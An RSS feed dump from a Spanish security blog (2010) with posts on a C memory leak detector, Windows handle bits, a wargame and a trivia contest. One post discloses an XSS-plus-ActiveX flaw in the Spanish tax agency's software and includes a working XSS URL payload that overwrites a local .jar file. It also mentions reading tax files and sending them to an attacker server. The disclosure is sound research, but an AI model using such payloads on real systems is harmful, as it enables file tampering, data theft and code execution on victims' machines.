48Bits Blog http://blog.48bits.com 48Bits ... The one and a half architecture land. Sun, 29 Aug 2010 13:02:24 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 A naive (but fast) memory leak detection system http://blog.48bits.com/2010/08/29/memory-leak-detections/ http://blog.48bits.com/2010/08/29/memory-leak-detections/#comments Sun, 29 Aug 2010 13:02:24 +0000 inocraM http://blog.48bits.com/?p=1510 El objetivo de este post es el plantear un sistema de deteccion de leaks que sea lo suficientemente rapido como para ser usado en aplicaciones complejas o en aplicaciones que hagan un uso desmedido del heap. El objetivo es un sistema que sin un uso extra de memoria excesivo, y con una perdida de rendimiento minimo, sea capaz de detectar los leaks de nuestra aplicacion.

El codigo y las ideas que voy a exponer son solo un esbozo y una pequeña prueba de concepto. Quedaria un gran trabajo por hacer para llegar a obtener algo realmente funcional.

Y dicho esto, vamos a meternos de lleno en el tema.

La idea es bastante sencilla. Sabemos que el Heap de Windows devuelve bloques de memoria que estan alineados a ocho bytes. Sabemos que Windows divide a partes iguales el espacio de direcciones entre Kernel mode y User mode (vamos a ignorar el modo de inicio /3gb). En IA32 esto nos deja un espacio de direcciones de 2gb para el usuario. Ahora bien, si quisiesemos terner un bitmap que pudiese representar cualquier reserva de memoria necesitariamos
2gb/(8*8) = 32mb
O lo que es lo mismo. Con solo gastar 32mb podemos terner un bitmap que represente cualquier reserva. Con esto conseguimos una estructura a traves de la cual gestionar los mallocs que el usuario tiene en un momento dado.
Por otro lado, un sistema de este tipo necesita gestionar mas informacion a parte de los punteros de los mallocs. ¿Donde almacenamos esta informacion? Lo que haremos es añadir esa informacion al malloc que hagamos para satisfacer la peticion del usuario.
En este modelo tenemos dos ventajas: No hacemos mallocs extra para nuestras gestiones, y solo necesitamos tener en cuenta la sincronia en el bitmap que representa las peticiones de los usuarios que han sido satisfechas.

Comenzaremos definiendo una cabecera para las reservas que pidan los usuarios:

typedef struct _ALLOCATION_HEADER
{
  DWORD UserSize;
}ALLOCATION_HEADER, *LPALLOCATION_HEADER;
 

Y algunos defines:

#define _1GB_               (ULONG)(1024 * 1024 * 1024)
#define BYTE_BITS           (ULONG)(8)

#define HEAP_ALIGNMENT      (ULONG)(8)
#define LONG_BITS           (ULONG)(BYTE_BITS * sizeof(DWORD))
#define USER_ADDRESS_SPACE  (ULONG)(2 * _1GB_)
#define CONTROL_SIZE        (ULONG)(USER_ADDRESS_SPACE / (HEAP_ALIGNMENT * LONG_BITS))
 

El define CONTROL_SIZE sera el tamaño de un array de LONG’s que tiene 32MB de tamaño. Esto es, nuestro bitmap:

static LONG AllocControl[CONTROL_SIZE] = {0};
 

Ahora un par de funciones hacer set/clear de un bit en el bitmap (Añadir o quitar un malloc). Estas funciones son triviales, y tan solo hay que tener cuidado de asegurarnos de que se puede acceder correctamente desde varios hilos de forma concurrente. En este caso el tiempo que tarda en ejecutarse el codigo que hay que proteger es despreciable por lo que no tiene sentido usar una seccion critica (Si queremos asegurar la correcta sincronia y no queremos implementarla nosotros mismos una alternativa aceptable podria ser una seccion critica, pero siempre con un spinlock adecuado)

static
__inline
void
SetMalloc(LPVOID Buffer)
{
  DWORD MallocInfo = (DWORD)(ULONG_PTR)Buffer / HEAP_ALIGNMENT;
  LONG *SegmentAddr = &(AllocControl[MallocInfo / LONG_BITS]);
  DWORD NewBit  = 1 << (MallocInfo % LONG_BITS);
  DWORD Segment;

  do
  {
    Segment = *SegmentAddr;
  }while(InterlockedCompareExchange(SegmentAddr, Segment | NewBit, Segment) != Segment);
}

static
__inline
void
ClearMalloc(LPVOID Buffer)
{
  DWORD MallocInfo = (DWORD)(ULONG_PTR)Buffer / HEAP_ALIGNMENT;
  LONG *SegmentAddr = &(AllocControl[MallocInfo / LONG_BITS]);
  DWORD OldBit  = 1 << (MallocInfo % LONG_BITS);
  DWORD Segment;

  do
  {
    Segment = *SegmentAddr;
  }
  while(InterlockedCompareExchange(SegmentAddr, Segment & ~OldBit, Segment) != Segment);
}
 

La funcion malloc:

void * malloc_detect_leaks(size_t size)
{
  size_t RealSize;
  LPALLOCATION_HEADER Header;
  LPVOID Result = NULL;

  RealSize = size + sizeof(ALLOCATION_HEADER);

  Header = (LPALLOCATION_HEADER) malloc(RealSize);
  if(Header != NULL)
  {
    SetMalloc(Header);
    Header->UserSize = size;
    Result = Header + 1;
  }
  return Result;
}
 

El calloc:

void * calloc_detect_leaks(size_t n, size_t size)
{
  size_t RealSize;
  LPALLOCATION_HEADER Header;
  LPVOID Result = NULL;

  size *= n;
  RealSize = size + sizeof(ALLOCATION_HEADER);

  Header = (LPALLOCATION_HEADER) calloc(1, RealSize);
  if(Header != NULL)
  {
    SetMalloc(Header);
    Header->UserSize = size;
    Result = Header + 1;
  }
  return Result;
}
 

El free:

void free_detect_leaks(void * ptr)
{
  if(ptr != NULL)
  {
    LPALLOCATION_HEADER Header = (LPALLOCATION_HEADER) ptr;

    Header -= 1;

    ClearMalloc(Header);    
    free(Header);
  }
}
 

Y el realloc. En el caso del realloc es importante el orden en el que se llevan a cabo las acciones. Este orden es evidente si revisamos el significado estricto de las estructuras de datos que utilizamos. Nuestro bitmap representa los mallocs que hemos satisfecho. Antes del realloc es necesario eliminar la reserva del usuario del Bitmap (Aunque mas tarde tengamos que volvera a añadirla). Si no lo hiciesemos asi necesitariamos estructuras de control extra para evitar problemas de sincronia:

void *realloc_detect_leaks(void *ptr, size_t size)
{
  LPALLOCATION_HEADER Old = NULL;
  LPALLOCATION_HEADER New = NULL;
  LPVOID Result = NULL;
  DWORD RealSize = 0;

  if(ptr != NULL)
  {
    Old = (LPALLOCATION_HEADER)ptr;
    Old -= 1;
    ClearMalloc(Old);
  }

  RealSize = size;
  if(RealSize != 0)
  {
    RealSize += sizeof(ALLOCATION_HEADER);
  }

  New = (LPALLOCATION_HEADER)realloc(Old, RealSize);
  if(RealSize != 0)
  {
    if(New != NULL)
    {
      SetMalloc(New);
      New->UserSize = size;
      Result = New + 1;
    }
    else
    {
      if(Old != NULL)
      {
        SetMalloc(Old);
      }
    }
  }
  return Result;
}
 

Y por ultimo, una funcion que genera un fichero de dump muyh basico con los leaks de nuestra aplicacion:

void DumpLeaks(LPCSTR FilePath)
{
  FILE *File;

  File = fopen(FilePath, "a+t");
  if(File != NULL)
  {
    DWORD ControlSegment = 0;
    DWORD i;

    for(i = 0; i < CONTROL_SIZE ; ++i)
    {
      DWORD SegMent = AllocControl[i];
      DWORD Offset = 0;

      while(SegMent != 0)
      {
        if((SegMent & 1) != 0)
        {
          LPALLOCATION_HEADER Leak = (LPALLOCATION_HEADER)(ControlSegment + Offset);
          LPBYTE Buffer;
          int Size;

          Size = Leak->UserSize;
          Buffer = (LPBYTE)(Leak + 1);

          fprintf(File, "\nLeak of %d bytes at 0x%0p\nDump:\n", Size, Buffer);

          while(Size != 0)
          {
            int LineSize = min(Size, 16);
            int i = 0;

            for(i = 0 ; i < LineSize ; i++)
            {
              fprintf(File, "%02x ", Buffer[i]);
            }

            for(;i < 16 ; i++)
            {
              fprintf(File, "   ");
            }

            fprintf(File, "| ");

            for(i = 0 ; i < LineSize ; i++)
            {
              if(Buffer[i] < 32 || Buffer[i] == 127)
              {
                fprintf(File, " ");
              }
              else
              {
                fprintf(File, "%c", Buffer[i]);
              }
            }

            for(;i < 16 ; i++)
            {
              fprintf(File, " ");
            }
            fprintf(File, "\n");

            Size -= LineSize;
            Buffer += LineSize;
          }

          fprintf(File, "\n");
        }
        SegMent >>= 1;
        Offset += HEAP_ALIGNMENT;
      }
      ControlSegment += LONG_BITS * HEAP_ALIGNMENT;
    }
    fclose(File);
  }
}
 

En las pruebas que he llevado a cabo la perdida de rendimiento no se aprecia, y el gasto de memoria extra es de 32MB mas un DWORD por cada malloc. Lo cierto es que el bitmap de 32MB puede reducirse considerablemente con una implementacion adecuada, aunque una implementacion mas util añadiria algo mas de overhead a cada malloc.

Sea como sea, al prueba de concepto parece valida, y a partir de aqui se podria seguir construyendo un Leak Detector bastante rapido.

Esto es una prueba de concepto que he implementado en un par de horas, asi que pido disculpas publicamente porque lo cierto es que el codigo esta bastante descuidado.

Y esto es to to todo amigos!!

]]> http://blog.48bits.com/2010/08/29/memory-leak-detections/feed/ 1 ¿Por que son los handles de Windows multiplo de cuatro? http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/ http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/#comments Thu, 26 Aug 2010 04:23:06 +0000 inocraM http://blog.48bits.com/?p=1496 Voy a tratar de despejar esta incoginta, esta pregunta que desde el albor de los tiempos persigue al ser humano, y lo llena de dudas e inseguridad. Los mas grandes pensadores, desde Platon a Schopenhauer, han intentado arrojar algo de luz sobre el asunto, pero sin sin obtener exito alguno. Aqui y ahora intentare abordar una vez mas este problema. Intentare, de una vez por toda, solventar esta duestion que oprime nuestros corazones y agita nuestras almas.

Si tuviesemos que dar una respueta rapida, la respuesta seria que los handles de Windows no son siempre multiplo de cuatro. Un ejemplo evidente son los llamados pseudohandles. Con pseudohandles me refiero a los handles virtuales que representan el proceso actual y el hilo actual, que se pueden obtener en user mode con las llamadas a las funciones GetCurrentProcess y GetCurrentThread, y que son respectivamente -1 y -2. Estos pseudohandles son validos desde el punto de vista de Windows y es el propio Objet Manager el que tiene constancia su existencia y los gestiona adecuadamente. Con esto quiero decir que estos pseudohandles son validos y se pueden usar en llamada a funciones del kernel tales como ObReferenceObjectByHandle.

Hay que diferenciar estos pseudohandles de otros handles virtuales como los que sirven por ejemplo para representar la entrada o la salida estandar. Este tipo de pseudohanles existen solo como parte de una implementación concreta y deben ser transformados en handles reales para poder interactuar con el sistema operativo (Con sistema operativo me estoy refiriendo en este caso “De la ntdll pa’bajo”)

Bien. Existen los pseudohandles y no son multiplo de cuatro. Pero, hay handles “reales”, que en esencia son una entrada en una tabla de handles asociada al proceso (O al kernel, que tambien tiene su propia tabla ), y todos parecen ser multiplo de cuatro, como por ejemplo 0x4f4. ¿Por qué? Pues la respuesta es sencilla. Esta caracteristica se debe a una decision de implementacion.
Tabla de Handles de Windows
Si revisamos la implementacion de la tabla de handles de Windows veremos que se trata de una tabla con tres niveldes de indentación, en los que se usa 8 bits por nivel. Esto le da 24 bits para reprsentar handles. O lo que es lo mismo, el numero de handles de un proceso esta limitado a 16 millones. De esos ocho bits restantes del handle, dos de ellos quedan definidos para ser usados por los usuarios, y los otros seis permanecen indefinidos. Daros cuenta que en el primer caso es una decision de diseño, mientras en el segundo caso es una decision de implementacion. Pero, hay una excepcion. Uno de esos bits indefinidos, que se corresponde con el de mayor preso del handle, tiene un significado especial, puesto que indica si el handle pertenece a la tabla de handles del proceso, o la tabla de handles del Kernel. Este hecho es transparente para la implementación de la tabla de Handles en si misma, pero tiene implicaciones importantes para el Object Manager. Donde estan situados los siete bits restantes (2 reservados para el usuario mas cinco indefinidos): Los dos reservados para el usuario son los dos bits de menor peso del handle, mientras el resto de bits sin usar son los bits de mayor peso del handle exceputando el bit 31, cuyo significado he comentado antes.

Lo cierto es que la mayor parte de los sistemas de Windows que usan Handles no necesitan usar estos flags presentes en el Handle, por lo que estos bits se suelen dejar a 0, obteniendo los tipicos handles multiplo de cuatro. Hay excepciones como por ejemplo el registro de Windows, donde si se usan estos bits. Concretamente la parte del Registro implementada en User Mode usa el bit 0 para indicar si la clave hace referencia al registro local o a un registro de una maquina remota, y usa el bit 1 para indicar si se trata de una clave asociada a HKCR (Recordad que tanto el acceso remoto a claves como la entra HKCR están implementados en User Mode. Quizas este segundo punto no sea muy conocido. HKCR es una “clave virtual” que nos muestra de forma unificada información que se encuentra presente en diversos puntos del registro). Notad tambien que la gestión de estos flags hace necesaria una funcion especifica de cierre (RegCloseKey en vez de CloseHandle), y requiere, por claridad, de la definicion de un “handle de registro”, HKEY, pero que en esencia no es mas que un handle.
Y esto es to to todo amigos. Espero que vuestra curiosidad haya sido saciada!

]]> http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/feed/ 5 Weaponized XSS – El caso de la Agencia Tributaria. http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/ http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/#comments Tue, 03 Aug 2010 17:59:48 +0000 Ruben Santamarta http://blog.48bits.com/?p=1472 Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc…Podemos llegar incluso a la ejecución de código.

El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del cual se está instanciando, hacen del XSS un vector de ataque muy potente. Esto lo demostré en la pasada RootedCon, donde un fallo de diseño permitía controlar por completo una máquina usando un ataque XSS en conjunto con métodos potencialmente inseguros en un ActiveX. Es conveniente recordar las slidespara entender mejor este post.

Hoy, vamos a hablar de un fallo del mismo tipo en la arquitectura de la Agencia Tributaria española.

El escenario del ataque sería aquel donde la víctima pincha, por el medio que sea, un enlace especialmente creado. Una explotación exitosa acarrearía la posibilidad de que el atacante obtuviera acceso a los datos fiscales, facturas u otros ficheros de la víctima, pudiera modificarlos e incluso ejecutar código.

Disclaimer.
Quiero dejar claro, para que nadie piense nada raro, que a mí sólo me interesa lo que se ejecuta en mi ordenador. No he tocado ningún servidor de la AEAT, ni ganas tengo. Recordar así mismo que un XSS se ejecuta en el lado cliente. Si por obligación se me conmina a instalar un ActiveX quiero saber por qué, qué hace y si esto supone un riesgo para la seguridad de mis equipos.No me hago responsable de ninguna manera del mal uso que pueda darse a esta información. Hasta donde considero mi obligación como researcher, he cumplido.

Dicho esto, al lío…

Si entrar en más detalles ya que es algo totalmente documentado, como contábamos antes, a la hora de instanciar los ActiveX Microsoft ofrece algunas medidas que permiten controlar quién puede “jugar” con ellos y quien no. Si se informará al usuario antes de ejecutarlos, desde qué dominios pueden ejecutarse etc. IObjectSafety, via claves en el registro (AllowedDomains), sin contar con los métodos propietarios que use cada ActiveX para asegurar que quien está accediendo a sus métodos procede de un lugar realmente legítimo

En el caso de la Agencia Tributaria, los que hayais usado el PADRE para descargar los datos fiscales os acordareís que os mandaron instalar un ActiveX para este propósito. Este mismo activeX es instalado a la hora de realizar las declaraciones telemáticas de IVA que todas las sociedad tienen que presentar obligatoriamente, a través de internet.

Veamos qué metodos expone:

  interface IAeatCtl : IDispatch {
        [id(0×00000001), helpstring("method BAS64")]
        HRESULT BAS64(
                        [in] BSTR input,
                        [out, retval] BSTR* result);
        [id(0×00000002), helpstring("method DECODEBASE64")]
        HRESULT DECODEBASE64(
                        [in] BSTR input,
                        [out, retval] BSTR* result);
        [id(0×00000003), helpstring("method LEEDI")]
        HRESULT LEEDI(
                        [in] BSTR directorio,
                        [in, optional] BSTR titulo,
                        [in, optional] BSTR texto,
                        [in, optional] BSTR bloqueo,
                        [out, retval] BSTR* resultado);
        [id(0×00000004), helpstring("method HASH")]
        HRESULT HASH(
                        [in] BSTR algoritmo,
                        [in] BSTR texto,
                        [out, retval] BSTR* resultado);
        [id(0×00000005), helpstring("method LEEFI")]
        HRESULT LEEFI(
                        [in] BSTR fichero,
                        [in, optional] BSTR modo,
                        [in, optional] BSTR crlf,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* contenido);
        [id(0×00000006), helpstring("method GRABATXT")]
        HRESULT GRABATXT(
                        [in] BSTR ruta,
                        [in] BSTR datos,
                        [in] BSTR modo);
        [id(0×00000007), helpstring("method FIRMAR")]
        HRESULT FIRMAR(
                        [in] BSTR datos,
                        [in, optional] BSTR ca,
                        [in, optional] BSTR datos_mostrados,
                        [in, optional] BSTR cadenaCompleta,
                        [in, optional] BSTR nif,
                        [out, retval] BSTR* resultado);
        [id(0×00000008), helpstring("method EXISTE")]
        HRESULT EXISTE(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0×00000009), helpstring("method FILEDIALOG")]
        HRESULT FILEDIALOG(
                        [in] BSTR titulo,
                        [in] BSTR directorio,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* fichero);
        [id(0x0000000a), helpstring("method DIALOGO")]
        HRESULT DIALOGO(
                        [in] BSTR estado,
                        [in] BSTR texto,
                        [in] BSTR boton);
        [id(0x0000000b), helpstring("method GETSUBJECT")]
        HRESULT GETSUBJECT([out, retval] BSTR* subject);
        [id(0x0000000c), helpstring("method LEEBI")]
        HRESULT LEEBI(
                        [in] BSTR fichero,
                        [in] BSTR codificacion,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* contenido);
        [id(0x0000000d), propget, helpstring("property HASHBI")]
        HRESULT HASHBI([out, retval] BSTR* pVal);
        [id(0x0000000e), propget, helpstring("property TAMBINARIO")]
        HRESULT TAMBINARIO([out, retval] long* pVal);
        [id(0×00000012), helpstring("method CONECTAR")]
        HRESULT CONECTAR(
                        [in] BSTR url,
                        [in] BSTR datos,
                        [in] BSTR appData,
                        [in] BSTR modo,
                        [in] long tiempoMaximo,
                        [out, retval] BSTR* resultado);
        [id(0×00000013), helpstring("method GRABABI")]
        HRESULT GRABABI(
                        [in] BSTR ruta,
                        [in] BSTR codificacion,
                        [in] BSTR datos);
        [id(0×00000014), propget, helpstring("property NOLOG")]
        HRESULT NOLOG([out, retval] BSTR* pVal);
        [id(0×00000014), propput, helpstring("property NOLOG")]
        HRESULT NOLOG([in] BSTR pVal);
        [id(0×00000015), helpstring("method DIRDIALOG")]
        HRESULT DIRDIALOG(
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [out, retval] BSTR* directorio);
        [id(0×00000016), helpstring("method ELEGIR_CERT")]
        HRESULT ELEGIR_CERT(
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [in, optional] BSTR ca,
                        [out, retval] BSTR* certificado);
        [id(0×00000017), helpstring("method EXISTEDIR")]
        HRESULT EXISTEDIR(
                        [in] BSTR directorio,
                        [out, retval] BSTR* resultado);
        [id(0×00000018), helpstring("Abre un cuadro de dialogo en el que se muestra un Avi.")]
        HRESULT ABRIRAVI(
                        [in] int numb,
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [in] int rango);
        [id(0x0000001a), propget, helpstring("property DIALOGO_CANCELADO")]
        HRESULT DIALOGO_CANCELADO([out, retval] short* pVal);
        [id(0x0000001b), helpstring("method ACTUALIZAAVI")]
        HRESULT ACTUALIZAAVI(
                        [in] int numb,
                        [in] BSTR texto,
                        [in] int inc,
                        [in, optional] int rango);
        [id(0x0000001c), helpstring("method CERRARAVI")]
        HRESULT CERRARAVI([in] int numb);
        [id(0x0000001e), helpstring("method PRINT")]
        HRESULT PRINT([in] IUnknown* documento);
        [id(0x0000001f), helpstring("method SELECT_CERT")]
        HRESULT SELECT_CERT(
                        [in] BSTR cadenaBusqueda,
                        [in, optional] BSTR ca,
                        [in, optional] BSTR nif,
                        [out, retval] BSTR* certificado);
        [id(0×00000020), helpstring("method SIGUE")]
        HRESULT SIGUE([in] int numb);
        [id(0×00000021), helpstring("method MUEVEFI")]
        HRESULT MUEVEFI(
                        [in] BSTR origen,
                        [in] BSTR destino);
        [id(0×00000023), helpstring("method GRABAIMG")]
        HRESULT GRABAIMG(
                        [in] BSTR url,
                        [in] BSTR ruta,
                        [out, retval] BSTR* resultado);
        [id(0×00000024), helpstring("method DESBLOQUEAR")]
        HRESULT DESBLOQUEAR([in] BSTR fichero);
        [id(0×00000025), helpstring("method INICIA")]
        HRESULT INICIA([in] BSTR directorio);
        [id(0×00000026), helpstring("method FIRMARLOTES")]
        HRESULT FIRMARLOTES(
                        [in] BSTR datos,
                        [in, optional] BSTR cadenaCompleta,
                        [out, retval] BSTR* resultado);
        [id(0×00000027), helpstring("method BORRAFI")]
        HRESULT BORRAFI([in] BSTR fichero);
        [id(0×00000028), helpstring("method CREARENLACE")]
        HRESULT CREARENLACE(
                        [in] BSTR fichero,
                        [in] BSTR nombre,
                        [in] BSTR descripcion,
                        [in] BSTR icono);
        [id(0×00000029), helpstring("method GETURL")]
        HRESULT GETURL(
                        [in] BSTR url,
                        [out, retval] BSTR* contenido);
        [id(0x0000002a), helpstring("method UNZIP")]
        HRESULT UNZIP(
                        [in] BSTR directorio,
                        [in] BSTR fichZip);
        [id(0x0000002b), helpstring("method GSWIN32C")]
        HRESULT GSWIN32C([in] BSTR parametros);
        [id(0x0000002c), helpstring("method CERRARVENTANA")]
        HRESULT CERRARVENTANA();
        [id(0x0000002d), propget, helpstring("property IDIOMA")]
        HRESULT IDIOMA([out, retval] BSTR* IDIOMA);
        [id(0x0000002d), propput, helpstring("property IDIOMA")]
        HRESULT IDIOMA([in] BSTR IDIOMA);
        [id(0x0000002e), propget, helpstring("property ESBINARIO")]
        HRESULT ESBINARIO([out, retval] BSTR* pVal);
        [id(0x0000002f), helpstring("method FECHA_MOD_URL")]
        HRESULT FECHA_MOD_URL(
                        [in] BSTR url,
                        [out, retval] long* pFecha);
        [id(0×00000030), helpstring("method FECHA_MOD_FICH")]
        HRESULT FECHA_MOD_FICH(
                        [in] BSTR fichero,
                        [out, retval] long* pFecha);
        [id(0×00000031), propget, helpstring("property FECHA_CAD_CERT")]
        HRESULT FECHA_CAD_CERT([out, retval] BSTR* pVal);
        [id(0×00000032), propget, helpstring("property EMISOR_CERT")]
        HRESULT EMISOR_CERT([out, retval] BSTR* pVal);
        [id(0×00000033), helpstring("method GET_VARIABLE_ENT")]
        HRESULT GET_VARIABLE_ENT(
                        [in] BSTR variable,
                        [out, retval] BSTR* valor);
        [id(0×00000034), helpstring("method GET_IMG")]
        HRESULT GET_IMG(
                        [in] BSTR url,
                        [out, retval] BSTR* contenido);
        [id(0×00000035), helpstring("method ES_CITRIX")]
        HRESULT ES_CITRIX([out, retval] BSTR* resultado);
        [id(0×00000036), helpstring("method ESMSWORD")]
        HRESULT ESMSWORD(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0×00000037), helpstring("method ABRIRFICHERO")]
        HRESULT ABRIRFICHERO([in] BSTR fichero);
        [id(0×00000038), helpstring("method ESMSEXCEL")]
        HRESULT ESMSEXCEL(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0×00000039), helpstring("method TAM_FICHERO")]
        HRESULT TAM_FICHERO(
                        [in] BSTR fichero,
                        [out, retval] double* resultado);
    };
 

Como veis hay algunos metodos como GRABABI que suenan interesantes. Haciendo ingeniería inversa podemos fácilmente averiguar los parámetros correctos que quedarían por ejemplo:

GRABABI(\’c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\’,\’base64\’,\’ADFADFAFAFAFAFAFA[..]\’)

Internamente, el ActiveX implementa una serie de comprobaciones para evitar que las operaciones que hagamos salgan fuera del directorio “c:\aeat\”, sin embargo, podríamos sobreescribir cualquier .jar de los que instala el PADRE o crear ciertos tipos de ficheros que fuera cargados automaticamente por el sistema.

Luego existen, los métodos LEERFI, LEERDIR donde podríamos listar el directorio y leer los ficheros de datos fiscales o de otro tipo y enviarlos a un servidor controlado por nosotros… En fin mil cosas.

Qué nos falta? Que la página de la agencia tributaria tenga un XSS para poder isntanciar el ActiveX desde el dominio permitido, ya que se guarda en la clave “AllowedDomains” el dominio desde donde se inicia y acepta la instalación del activex, en este caso, alguno de los pertenencientes a la AEAT.

¿Existe un fallo XSS en las webs de la AEAT? Sí. Y este permitiría hacer una cosa así.

https://aeat.es/XXXXXXXXXXXXXXXXXXXXXXXXXXX=javascript:{var c0d= '<html><body><object id=\'ab\' classid=\'CLSID:B785FA3C-1DE9-4D20-8396-613C486FE95E\'></object><script>function xplit(){ab.GRABABI(\'c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\',\'base64\',\'ADFADFAFAFAFAFAFA\');}</script><a href=\'javascript:xplit();\'>exploit</a></body></html>';document.write(c0d);}

U otras peores. Avisé a la AEAT de este fallo hace más de un mes. A día de hoy sigue sin arreglarse. Yo por mi parte considero que no puedo hacer más.

Hasta la siguiente.

]]> http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/feed/ 12 CampusParty’s Wargame Leftovers http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/ http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/#comments Mon, 02 Aug 2010 16:48:36 +0000 48bits http://blog.48bits.com/?p=1466 Campus Party is over now, it was a great week. Here are two unsolved levels from the hacking wargame, they were available in the contest so we wanted to release them.

Go, get them and have fun! First to solve both gets a $30 gift card for Amazon. All the info available in http://vierito.es/cp2010wargame/

—————————————–

La campus party se acabo, fue guachi. Del wargame quedaron pruebas sin resolver, como fueron liberadas pero no resueltas queremos hacerlas públicas.

Si eres el primero en resolverlas correctamente ganarás 30$ para gastarte en amazon.

Toda la info aquí http://vierito.es/cp2010wargame/

]]> http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/feed/ 0 HOYGA, EL CONCURSO “TRIBIAL PU**Y” A YEJADO http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/ http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/#comments Fri, 02 Jul 2010 06:07:51 +0000 48bits http://blog.48bits.com/?p=1449 Tenemos 3 entradas de movilidad para la Campus de este año que vamos a regalar a las 3 primeras personas, o equivalente, que nos contesten correctamente a staff (at) 48bits (dot) com las siguientes preguntas. Además se agradecerán poemas, amenazas ocurrentes o ideas para mejorar el blog.

Es verdad eh, tenemos las entradas, no es coña. Lo juramos.

¡¡Rápido!!

Antes del día 6 tenemos que tener 3 ganadores. Las llamadas entran en directo. 3 entradas, garantizadas. Producción, ¿me se escucha?

Pregunta 1

¿Cuál es el tamaño máximo de una instrucción NOP en x86?

Pregunta 2

El que más se aproxime, sin pasarse…
¿Cuántas lineas tiene el fichero de quotes de 48bits?

Pregunta 3

¿Quién es este fulano?

Pregunta 4

Completa la expresión: 8 = ?

]]> http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/feed/ 22